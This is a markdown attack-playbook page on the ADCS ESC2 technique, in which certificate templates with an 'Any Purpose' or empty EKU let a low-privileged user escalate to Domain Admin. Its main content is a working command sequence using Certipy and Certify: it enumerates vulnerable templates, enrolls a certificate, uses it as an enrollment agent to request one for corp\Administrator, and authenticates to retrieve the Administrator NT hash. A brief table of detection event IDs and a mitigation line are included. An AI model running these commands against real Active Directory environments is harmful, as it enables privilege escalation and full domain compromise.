--- title: "Attack #28 β€” ESC2 Any Purpose EKU No EKU" description: "ESC2 exploits certificate templates configured with the \"Any Purpose\" Extended Key Usage (EKU) (OID 2.5.29.37.0) or no EKU at all. Such certificates are…" category: active-directory subcategory: "ADCS & Certificates" tags: ["active-directory", "adcs", "privilege-escalation"] tools: ["Certipy", "Certify", "PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Four/🟒 Attack #28 β€” ESC2 Any Purpose EKU No EKU.md" --- # 🟒 Attack #28 β€” ESC2: Any Purpose EKU / No EKU *** ## πŸ“– How It Works ESC2 exploits certificate templates configured with the **"Any Purpose" Extended Key Usage (EKU)** (OID `2.5.29.37.0`) or **no EKU at all**. Such certificates are treated as universal β€” they can function as any EKU, including Client Authentication and Certificate Request Agent. This means a low-privileged user who enrolls for an ESC2-vulnerable certificate can use it as an **Enrollment Agent** to request certificates on behalf of any other user, including Domain Admins. ### Vulnerable Template Conditions - Template is published/enabled on a CA - Low-privileged users (Authenticated Users / Domain Users) have enrollment rights - EKU is set to "Any Purpose" OR is completely empty - Manager approval is NOT required - Authorized signatures are NOT required *** ## βš™οΈ Prerequisites | Requirement | Detail | |---|---| | **Enrollment rights on ESC2 template** | Domain Users / Authenticated Users can enroll | | **ADCS deployed** | Certificate Authority must be running | *** ## πŸ› οΈ Tools | Tool | Platform | Notes | |---|---|---| | **Certipy** | Linux | `find -vulnerable`, `req` for enrollment | | **Certify** | Windows | `find /vulnerable`, `request` for enrollment | *** ## πŸ’» Full Commands ### πŸ”΅ Enumerate ESC2 Templates ```bash # ── Certipy ─────────────────────────────────────────────────────────────────── certipy find -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10 -vulnerable -stdout # Look for: [!] Vulnerabilities: ESC2 ``` ```powershell # ── Certify ─────────────────────────────────────────────────────────────────── .\Certify.exe find /vulnerable # Look for templates with "Any Purpose" or empty EKU ``` ### πŸ”΄ Exploit ESC2 ```bash # ── Step 1: Enroll for the ESC2 certificate ─────────────────────────────────── certipy req -u low_user@corp.local -p 'Password1' -ca CORP-CA \ -template VulnTemplate -dc-ip 10.10.10.10 # ── Step 2: Use as enrollment agent to request cert as Administrator ────────── certipy req -u low_user@corp.local -p 'Password1' -ca CORP-CA \ -template User -on-behalf-of 'corp\Administrator' \ -pfx low_user.pfx -dc-ip 10.10.10.10 # ── Step 3: Authenticate with the Administrator certificate ────────────────── certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 # Returns NT hash for Administrator ``` ```powershell # ── Certify (Windows) ───────────────────────────────────────────────────────── .\Certify.exe request /ca:CORP-CA /template:VulnTemplate # Use resulting cert as enrollment agent for further requests ``` *** ## πŸ›‘οΈ Detection β€” Event IDs | Event ID | Source | What to Look For | |---|---|---| | **4886** | Security Log (CA) | Certificate enrollment β€” track low-priv users enrolling for any-purpose templates | | **4887** | Security Log (CA) | Certificate request approved | | **4768** | Security Log (DC) | PKINIT TGT request using the forged certificate | *** ## πŸ”— Attack Chain Context ``` [ESC2] ──→ Any Purpose cert β†’ Enrollment Agent β†’ impersonate any user β”‚ β”œβ”€β”€β†’ πŸ”— Used as stepping stone to ESC3-style enrollment agent abuse β”œβ”€β”€β†’ πŸ”‘ Low-priv user β†’ DA certificate β†’ domain compromise └──→ πŸ’€ Defeated by: restrict EKUs, require approval, audit enrollment ``` *** > βœ… **Attack #28 β€” ESC2 complete.**